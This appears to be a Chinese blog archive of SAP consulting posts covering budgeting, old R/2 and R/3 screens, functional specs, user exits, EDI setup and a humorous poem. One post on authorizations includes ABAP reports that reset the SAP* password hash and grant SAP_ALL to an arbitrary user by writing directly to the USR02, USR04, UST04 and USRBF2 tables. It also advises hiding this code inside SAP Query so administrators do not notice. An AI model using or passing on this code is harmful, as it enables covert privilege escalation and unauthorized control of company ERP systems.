Sapphire

全面预算管理是一个流行的东西，几乎我遇到的每一个客户都号称自己的实行全面预算管理，但在实施过程中，往往都存在很多问题，而问题往往源于认识上的误区。

误区一：预算只关注目标利润，与战略无关

全面预算管理的“全面”二字，就决定了它无法和战略管理脱节，试想一下，一个涵盖投资，营运，现金流，财务登全方面的预算系统，如果和战略管理的目标无法衔接，甚至背道而驰的话，结果只有两个，企业背离既定目标，或者预算系统无法推行。

误区二：预算都有误差，不能据此考核

如果没有考核，那么预算的执行往往会流于形式，无法落实。而预算的准确性本身就应该是考核的一部分，同时预算考核还需要建立在预算分析的基础上。应该说考核不是目的，通过此发现预算编制和执行中的问题，达成整体预算目标才是目的。

误区三：预算控制很重要，因此设定的预算绝对要完成。

这是又一种误区，首先预算本身只是一个相对科学的预测，根据形势的改变，预算也应该做出相应的更新，因此，在我们执行预算时，会有两个预算指标，一个是初始预算值，另一个是当前预算值，我们的控制是基于后者，而分析考核的时候则要兼顾两者。

误区四：我们已经有很多计划，为什么还需要预算？

从形式上来说，计划和预算确实没有本质的区别，两者都是对未来业务的规划。但结合预算的编制过程看，两者还是各有侧重的。通常，企业会根据既有战略和业务目标，自上而下(TOP-DOWN)的制定和下发预算，这是一个较为高层的指标，比如，按产品组列出生产预算，而对应我们的材料计划，作业计划等会比这个详细，因此责任部门可以根据结合预测和历史数据编列并自下而上(BOTTOM-UP)汇总上报，这是更基于实际运作的计划，预算当局再次根据上报的计划进行预算沟通，最后确定一个统驭一致的预算，然后再次下达(TOP-DOWN)，这是一个可执行的预算。

另外一个区别是计划的调整频率往往会高于预算，这和两者各自的侧重有关，一个基于战略目标，另一个则基于运营。

误区五：预算要由财务部门来主导

这个问题涉及到预算的组织。虽然预算一般最后会体现为财务指标，但是财务部门也是预算的一个执行部门。全面预算管理作为管理层和业务执行层间的战略沟通工具，财务来主导必然会影响其作用。当然，财务部门在预算的某些方面具有很重要的作用，例如资金以及提供分析数据方面。

R/2屏幕是主机时代的产物，用过DOS/Dbase下应用软件的朋友可能会熟悉这种风格。

R/2的登陆界面：

这个好像是物料凭证：

下面两张图分别是对话框和物料凭证的界面：

供应商主数据的开始界面？

这应该是会计凭证的概览界面：

R/3v4.0-4.5，这是很多人喜欢用的界面，有人至今还用这个界面。没什么好说的，因为习惯会成自然。

销售订单：

成本中心主数据：

客户主数据：

采购订单，这就是enjoy的界面，这个从采购申请复制到采购订单的界面我花了好长时间才找到怎么操作。:-(

供应商发票的界面：

来到一个快要上线的项目，浏览一下相关的开发文档，发现一个普遍的问题，几乎存在于所有因功能增强而设计的functional spec中：机械地找出相关系统表，字段；依样画葫芦地把客户需求转述成业务逻辑；或者煞有介事地加上两张流程图。业务需求实现没有？实现了；文档符合规格吗？完全符合；测试结果如何，一切顺利；形式上无懈可击，看上去很美，实质却是两个字：死板。除了死板还是死板，没有弹性，没有充分考虑其他功能发生变化时的影响。后果就是业务需求改变后，大量地重复劳动。

为什么会这样呢？原因大概有两条：1、敷衍，应用顾问让key user写完spec后，甚至不看一眼就立即提交开发。2、顾问对增强开发缺乏系统性的思考，或者对系统本身的逻辑和观念不甚了了。

SAP是一个很有弹性的系统，而我们在做功能性需求开发的时候，却没有按照系统既有的观念去设计，有些地方，甚至还就出现hard code，真是惨不忍睹！

不由得想问一句实施顾问们都是干什么的？在去年的项目中，有个顾问因为客户不甚合理的需求，提交了一个spec，洋洋洒洒好多页，竟然还要改系统标准程序。标准程序不是不能改，但是为了这种需求改，太不值了吧。哪怕这是一个合理的需求，先考虑重新写一个程序也比修改标准程序风险小啊。当然尽量满足客户的需求不是坏事，但是也要学会说不，不会说不的顾问，只能说明他还不够专业。

大量的二次开发并不可怕，可怕的是没有规范，甚至违背系统观念的乱开发。

随着市场扩张带来的顾问群体的膨胀，顾问的整体基本专业素质和专业精神也大大降低了。这是问题唯一合理的解释。

通常basis会使用PFCG做权限管理,时你保存时会产生一个系统外的profile name,
记得SU01时用户有profile 和role两栏位吗?它们的关系如何呢?

首先明白几个概念.
1.activity
这样说吧,我们从activity谈起,activity是什么意思这个你查下
字典也就知道了,对就是规定可做什么动作,比如说不能吸烟只能喝酒,不能多于2两,
不对,这是我老婆讲的,SAP不是这样子的,是只能insert, update,display什么的.
这些东西当年德国佬是写在tobj表中的.
activity 也是可分activity group的.

2.activity category &Authorization group
  Role Vs Profile
你看看表T020就知道了,就是什么K,D, A, M什么的.

profile是什么呢?实际上可以理解为所有的authorization data(有很多authorization group--{你可使用OBA7填写,
权限太细也不是好事^_^}和activity组成)的一个集合的名字,通常一个自定义的role产
生一个profile,SAP权限控制是根据profile里的authorization data(objects)来控制的.

role又是什么呢?role只是一个名字而已,然后将profile赋予给它, 比如你SU01建立一个
用户,我没有任何role,但是加如SAP_All profile
也是可做任何事情.
SAP本身有很多default role & profile.

3.最常用的PFCG->authorizations->change authorization data->
进入后选取selection criteria 可看到所有的authorization object
manually可手工加authorization object,比如你使用某个t-code权限出错误,abap使用SU53检查就
知道缺少哪个authorization objec,然后手工加入就可以.
你选去authorization levels就可by account type再细分权限.
有些甚至直接到表字段.而且你甚至可給一个object分配缓存buffer.

那么SAP是如何做到权限控制的呢,屠夫就用刀小宰一下.

4.关于权限方面的几个t-code.

(一)Role(角色)相关T-code:
PFAC         标准
PFAC_CHG 改变
PFAC_DEL 删除
PFAC_DIS 显示
PFAC_INS 新建
PFAC_STR
PFCG  创建
ROLE_CMP 比较
SUPC  批量建立角色profile
SWUJ  测试
SU03            检测authorzation data
SU25, SU26      检查updated profile
(二)建立用户相关T-code:
SU0 
SU01 
SU01D 
SU01_NAV
SU05
SU50, Su51, SU52
SU1 
SU10  批量
SU12  批量
SUCOMP:维护用户公司地址
SU2  change用户参数
SUIM  用户信息系统
用户组
SUGR:维护
SUGRD:显示
SUGRD_NAV:还是维护
SUGR_NAV:还是显示
 
(三)关于profile&Authoraztion Data
SU02:直接创建profile不用role
SU20:细分Authorization Fields

SU21(SU03):****维护Authorization Objects(TOBJ,USR12).
对于凭证你可细分到:
F_BKPF_BED: Accounting Document: Account Authorization for Customers
F_BKPF_BEK: Accounting Document: Account Authorization for Vendors
F_BKPF_BES: Accounting Document: Account Authorization for G/L Accounts
F_BKPF_BLA: Accounting Document: Authorization for Document Types
F_BKPF_BUK: Accounting Document: Authorization for Company Codes
F_BKPF_BUP: Accounting Document: Authorization for Posting Periods
F_BKPF_GSB: Accounting Document: Authorization for Business Areas
F_BKPF_KOA: Accounting Document: Authorization for Account Types
F_BKPF_VW : Accounting Document: Change Default Values for Doc.Type/PsKy
然后你进去还可细分,这些个东西是save在USR12表中的. 在DB层是UTAB.

对具体transaction code细分:    
SU22,SU24 
SU53:*** 就是你出错用来检查没有那些authoraztion objects.
SU56:分析authoraztion data buffers.
SU87:用来检查用户改变产生的history
SU96,SU97,SU98,SU99:干啥的?
SUPC:批量产生role

DB和logical层:
SUKRI:Transaction Combinations Critical for Security
tables:
TOBJ : All avaiable authorzation objects.(全在此)
USR12: 用户级authoraztion值
-----------------------------
USR01:主数据
USR02:密码在此
USR04:授权在此
USR03:User address data
USR05:User Master Parameter ID
USR06:Additional Data per User
USR07:Object/values of last authorization check that failed
USR08:Table for user menu entries
USR09:Entries for user menus (work areas)
USR10:User master authorization profiles
USR11:User Master Texts for Profiles (USR10)
USR12:User master authorization values
USR13:Short Texts for Authorizations
USR14:Surchargeable Language Versions per User
USR15:External User Name
USR16:Values for Variables for User Authorizations
USR20:Date of last user master reorganization
USR21:Assign user name address key
USR22:Logon data without kernel access
USr30:Additional Information for User Menu
USR40:Table for illegal passwords
USR41:当前用户
USREFUS:
USRBF2
USRBF3
UST04:User Profile在此
UST10C: Composite profiles
UST10S: Single profiles (角色对应的
UST12 : Authorizations..............................

..............................
如何窃取权限

..............................

用户:
User type用户类型(干啥用的不讲):
通常的用户类型有
a.dialog (就是normal user)
b.communication
c.system
d.service
e.reference.

通常你在使用任何T-code前一定会有权限检测的.
AUTHORITY_CHECK:这个函数只是小检查一下你的user有没有,什么时候过期.
**如果coding只要使用此函数就够了.
AUTHORITY_CHECK_TCODE:检查T-code

这倆函数是真正检查autorization objects的.
SUSR_USER_AUTH_FOR_OBJ_GET:
AUTHORIZATION_DATA_READ_SELOBJ:
------------------------------------------
将SAP*的密码改成123的程序,很简单.
我们找到那个user logon表USR02.
(DF52478E6FF90EEB是经过SAP加密保存在DB的,哪位老兄研究过SAP的密码加密?)
report zmodSAP*.
data zUSR02 like USR02 .
select  single * into zUSR02 from USR02
where BNAME = 'SAP*'.
zUSR02-Bcode = 'DF52478E6FF90EEB' .
Update USR02 from zUSR02  .

现在的问题是如何让你那basis不发现,很简单,将code隐藏在Query里面,就是说你做一个
query,query是会产生code的,然后你加入此代码,谁能想到???然后你就等你的basis去哭...

这样做太狠毒了.还是自己偷偷搞自己的用户吧.
在此你必须对权限结构非常清晰.
权限和三个表有关系.
a.USR04
b.USR04
c.USRBF2  这个表是对应到所用的authorzization objects的.
*&---------------------------------------------------------------------*
*& Report        : Steal SAP ALL Right                                 *
*& Creation Date : 2004.04.01                                          *
*& Created by    : Stone.Fu                                            *
*& Description   : 可窃取SAP ALL权限                                     *
*& Modified Date : 2005.11.02
*& Description   : 将此code hide在report painter or query  code        *
*&---------------------------------------------------------------------*

report zrightsteal.
data zUSR04 like USR04 . "????????work area??
data zUST04 like USR04 .
data zPROFS  like USR04-PROFS.
data ZUSRBF2 like USRBF2 occurs 0 with header line.
"USRBF2?????internal table
** Update Authorization table USR04.
select  single * into zUSR04 from USR04
where BNAME = 'ZABC2'. "SAP All 权限
move 'C SAP_ALL' to zPROFS .
ZUSR04-NRPRO = '14'.
zUSR04-PROFS  = zPROFS.
Update USR04 from zUSR04  .

**Update User authorization masters table UST04 .
select  single * into zUST04 from UST04
where BNAME = 'ZABC2'.
zUST04-PROFILE  = 'SAP_ALL'. "SAP all 权限
Update UST04 from zUST04 .

*?????insert
*ZUST04-MANDT = '200'.
*ZUST04-BNAME = 'ZABC2'.
*ZUST04-PROFILE = 'SAP_ALL'.
*Insert UST04 from ZUST04 .

select *  from  USRBF2 into table ZUSRBF2
where BNAME = 'SAP*' .
Loop at ZUSRBF2.
ZUSRBF2-BNAME = 'ZABC2'.
Modify ZUSRBF2 INDEX sy-tabix TRANSPORTING BNAME.
endloop.
INSERT USRBF2 FROM TABLE ZUSRBF2 ACCEPTING DUPLICATE KEYS.

自己建立一个ztest用户不给它任何权限然后在test machine上run  报表zrightsteal.

然后ztest就是SAP_ALL了, 然后你将code hide在SQP query的code中. ABAP code太容易被人发现. 

1.SPRO->Basis Components->Application Link Enabling(ALE)->Sending and

Receiving systemLogical Systems->Define Logical System
Log.System: SAPDEV100
Name: CML SAP 61.144.248.136 client 100

2.SPRO->Basis Components->Application Link Enabling(ALE)->Sending and

Receiving system->Logical Systems->Assign Client to Logical System
Choose client 100 and click details
逻辑系统: SAPDEV100

3.SM59->TCP/IP 连接->SAPBC->网关
网间主机名: 61.144.248.136
网关服务: sapgw00
4.BC->SAP->SAP Servers->Add Server
System Name: CMLTEST
Login Defaults User: PRE06
Password:
Client: 100
Language: Server Logon
Application Server: 61.144.248.136
System Number: 00

5.BC->SAP->SAP Servers->CMLTEST->Listeners->Add Listeners
Program ID: SAPBC
Gateway Server: 61.144.248.136
Gateway Service: sapgw00

6.SM59->TCP/IP->连接->SAPBC->测试连接

7.WE21->事务性->RFC->Create
生成端口名稱
端口: A000000001
描述: SAP BC test
RFC 目标系统: SAPBC
处理代码: ORDE ORDERS 创建销售订单

8.WE20->伙伴类型->LI->Create
合作伙伴编号: 90004 联合饼干有限公
伙伴类型: LI 供应商
Typ: US 用户
代理人: PRE06 Su Jack
语言: ZH 中文

9.WE20->伙伴类型->LI->90004->出站参数->Create
合作伙伴编号: 90004 联合饼干(中国)有限公司
伙伴类型: LI 供应商
伙伴功能: GS 产品供应商
消息类型: ORDERS 购买订单 / 订单
消息代码:
消息功能:
外向选项
接收方端口: A000000001 事务性 RFC
SAP BC test
包大小: 1
基本类型: ORDERS05 购买/销售
消息控制
应用程序: EF 采购订单
消息类型: NEU 采购订单
过程代码: ME10 ORDERS: 采购订单

10. SPRO->物料管理->採購->消息->輸出控制->信息類型->定議採購訂單的消息

類型->维护 PO 消息类型->NEU採購訂單->合作伙伴功能->Create
应用 EF 采购订单
输出类型 NEU 采购订单
媒介 EDI
功能 GS 产品供应商

11. MN04
类型 NEU 采购订单
采购输出确定: 采购组织/EDI的供应商
采购组织 1001 招商局物流
供應商 90004
伙伴口 VN
媒介 6
時間 4
語言 ZH

Client: 202
Logical Systems: SDQ202
RFC destination: SDQ202
Port : A000000002

用户出口就是SAP中的Customer Exits或者User Exits

什么叫用户出口呢？打个比方说吧，SAP软件就象一根晾衣服的绳子，上面有数不清的衣架，多数衣架上已经挂上了衣服，就些衣服就SAP的标准程序，还有些衣架是空着的，这些就是“用户出口”，你可以把自己做的衣服(比如程序代码)挂到这些衣架上去--如果你觉得SAP给你准备的衣服不够穿或者不合身的话。

使用用户出口可以：
-不影响标准SAP源代码
-不影响软件升级

SAP有四种基本用户出口的类型：
1.菜单出口-Menu Exits
  定义自己的菜单
2.屏幕出口-Screen Exits
  定义自己的屏幕
3.功能模块出口-Function Module Exits
  在SAP应用程序中添加功能
4.关键字出口-Keyword Exits
  在ABAP/4字典中的关键字数据元素添加文档。结果是你在使用这些数据元素的字段处按F1后会出现你自定义的说明文档

使用的方法是：首先定义(T-Code:CMOD)一个项目Project(以管理你的增强，这里的项目和PS模块的项目可是两回事)，把你要使用的系统增加Enhancement分配给这个项目，编辑系统增强中的用户出口对象。

SAP的用户出口和其它模块不太一样，其他模块基本采用上面说到的系统增强方法，SD的子模块则是罗列了一大堆已经定义好的子程序(Include)--说实话，我比较喜欢这种方式，你可以直接在SE38中修改这些子程序，然后激活就可以了。

要编辑用户出口，你必须有开发的权限，另外，除了关键字出口外，其他的出口都需要你有一定的ABAP/4编程能力。

虽然只是打油诗，但是感觉不少话还是很有道理：

SAP是庞大的，    模块是多多的，功能是强大的，搞懂是没门的。
sd是灵巧的，     五脏是俱全的，满足是不能的，报表是经常的。
pp是复杂的，     相同是很少的，mrp是要的，   精确是不能的。
mm是重要的，     数据是多多的，做好是稀有的，目前是紧缺的。
fi是核心的，     记账是主要的，工作是轻松的，地位是高高的。
co是控制的，     与fi是配合的，凭证是很多的，成本是不准的。
abap是必须的，   开发是经常的，地位是没有的，作用是点缀的。
basis是装机的，  debug是常有的，精通是困难的，abap是兼职的。
HR是搞人的，     会作是很少的，研究是需要的，潜力是无穷的。
workflow是神奇的，功能是炫目的，做通是很少的，因而是不做的。
qm是质量的，     上的是不多的，思路是奇特的， 冲突是必然的。
pm是见过的，     功能是明显的，做做是蛮好的， 培训是需要的。
apo是传说的，    上的是没有的，目标是理想的， 成功是偶然的。
crm是起步的，    客户是听说的，用好是没有的， 完善是需要的。
bw是早有的，     产品是多样的，需求是渐多的， 招人是必要的。
市场是巨大的，   erp是需要的， 签单是可能的，打折是一定的。
kick off是要有的， 首期是会付的，蓝图是要做的，确认是艰苦的。
实施是痛苦的，   修改是经常的，说服是需要的，项目是继续的。
数据是庞大的，   整理是艰苦的，手输是不能的，batch是要编的。
客户是刁蛮的，   要求是无理的，说话是牛逼的，干活是不行的。
key user是难做的，加班是经常的，工资是不多的，衰老是优先的。
上线是被逼的，   不逼是不行的，时间是紧张的，恐惧是不必的。

林觉民在《与妻书》中写道：“与使吾先死也，无宁汝先吾而死。”

这大概就是生离死别般的情感。

读到一首Robert Herrick的诗，算做个注脚吧。

Give me a kiss, and to that kiss a SCORe;
Then to that twenty, add a hundred more;
A thousand to that hundred; so kiss on,
To make that thousand up a million,
Treble that million, and when that is one,
Let's kiss a fresh, as when we first begun.

IT的优势是可以支撑业务获得更好的效率，集成性和数据分析能力，但同时也会带来固化枷锁和改变成本，所以IT系统的弹性和可拓展性是衡量其是否先进的重要标准。它的着重点在于对业务的支撑能力。

BPR应该更着重于业务本身，为什么不合理，哪里不合理，不合理的根本原因何在，如何解决？

实践中，往往大多数流程和数据都是在IT系统上的，BPR的整个过程离不开IT系统，IT系统本身也应该是支持BPR的一个工具。对于非IT支持的业务，BPR可能更能体现其作用。

在实际的业务中，审批往往是最不具有效率和价值的流程环节，也是IT系统最为头疼的东西。以差旅报销为例，为什么一定要在事后经过主管和财务审批呢？为什么不能在事前通过计划的提报来完成呢？因为大多数出差，不管你是否需要事后审批，你总会以某种方式在事前获得主管的批准。如果要检查费用预算，是对事前的计划还是对已经发生的事实检查更有意义呢？至于对单据的合法性的确认，那完全是一个出纳应负的职责。在这个例子里，IT系统唯一要做的就是让系统的使用者更方便的使用和减少处理时间。

   BPR是思考，IT把思考转换为行为模式。当思考改变时，好的IT系统应该能够及时地转换行为模式。

　这是最近读书看到的一句话，觉得很有道理。

我经常会和客户争吵，也常和顾问争吵，有时还看着客户和客户争吵。

和客户争吵时，总是在一个个“假定”的丛林里步步为营，或者层层推进，或者节节后退。

和顾问争吵时，总是在某个唯一“目标”的集结下，倾泻而出，飞流直下，接着在荡气回肠后的沉默里，达成一致，各干各活。

看着客户争吵时，总是让自己保持在“辟谷”状态下，变哑变傻，但要不聋不瞎。

如果要依着我的本性行事，哪还有这么多鸟毛事，早就挖出牛耳尖刀一把，谁和我吵就架上丫脖颈，从了也得从，不从也得从。

结论：显然我还不是一个理性的动物。

首先，需要确定你的成本对象，也就是你要知道你到底要知道那些东西的成本？

其次，你要知道谁花掉了钱？也就是成本中心。

第三，你要确定都花了什么钱，也就是成本要素，在SAP中，由初级和次级成本要素之分。

第四，你要搞清楚，某个成本中心花掉了钱，最后这笔消耗是怎么转移到成本对象上面的？也就是成本流。

最后，成本计算出来，你还要知道成本的获益者，是哪个客户，或者那个渠道，或者那个产品？统称之为获利段。

    这是看过这个blog上一些文章后，突然浮现出来的一个问题。

    有一位客户曾和我讨论过类似的话题，原话不记得了，大概的意思是：所有的战略，流程，信息系统，项目管理，解决方案等等，这些都没什么难的，都算不上是挑战。真正的挑战是：给你三秒钟，对单据上的货物能不能装满一个集装箱做出判断。---那次是一个物流的项目。我的回答是：这的确是很大的挑战，但不是对我们顾问的，这是留给你们客户的。

    坦白讲业务经验，实际操作并非我们所长，这是一个不需要我们接受的挑战。当然也有很多顾问实际经验很丰富，但客户是新的，项目是新的，集装箱容积变了，单据上的货物变了，你还能精确地做判断吗？

    在客户面前，永远要抱着从study到solve的心态，不管你多资深，多厉害。在面对一个新的客户，新的项目，新的状况时，先弄清楚水到底有多深，多浑。任何一个项目，都让客户去唱主角。我们提供脚本，当当场记剧务配角，让客户去自编自导自演去吧。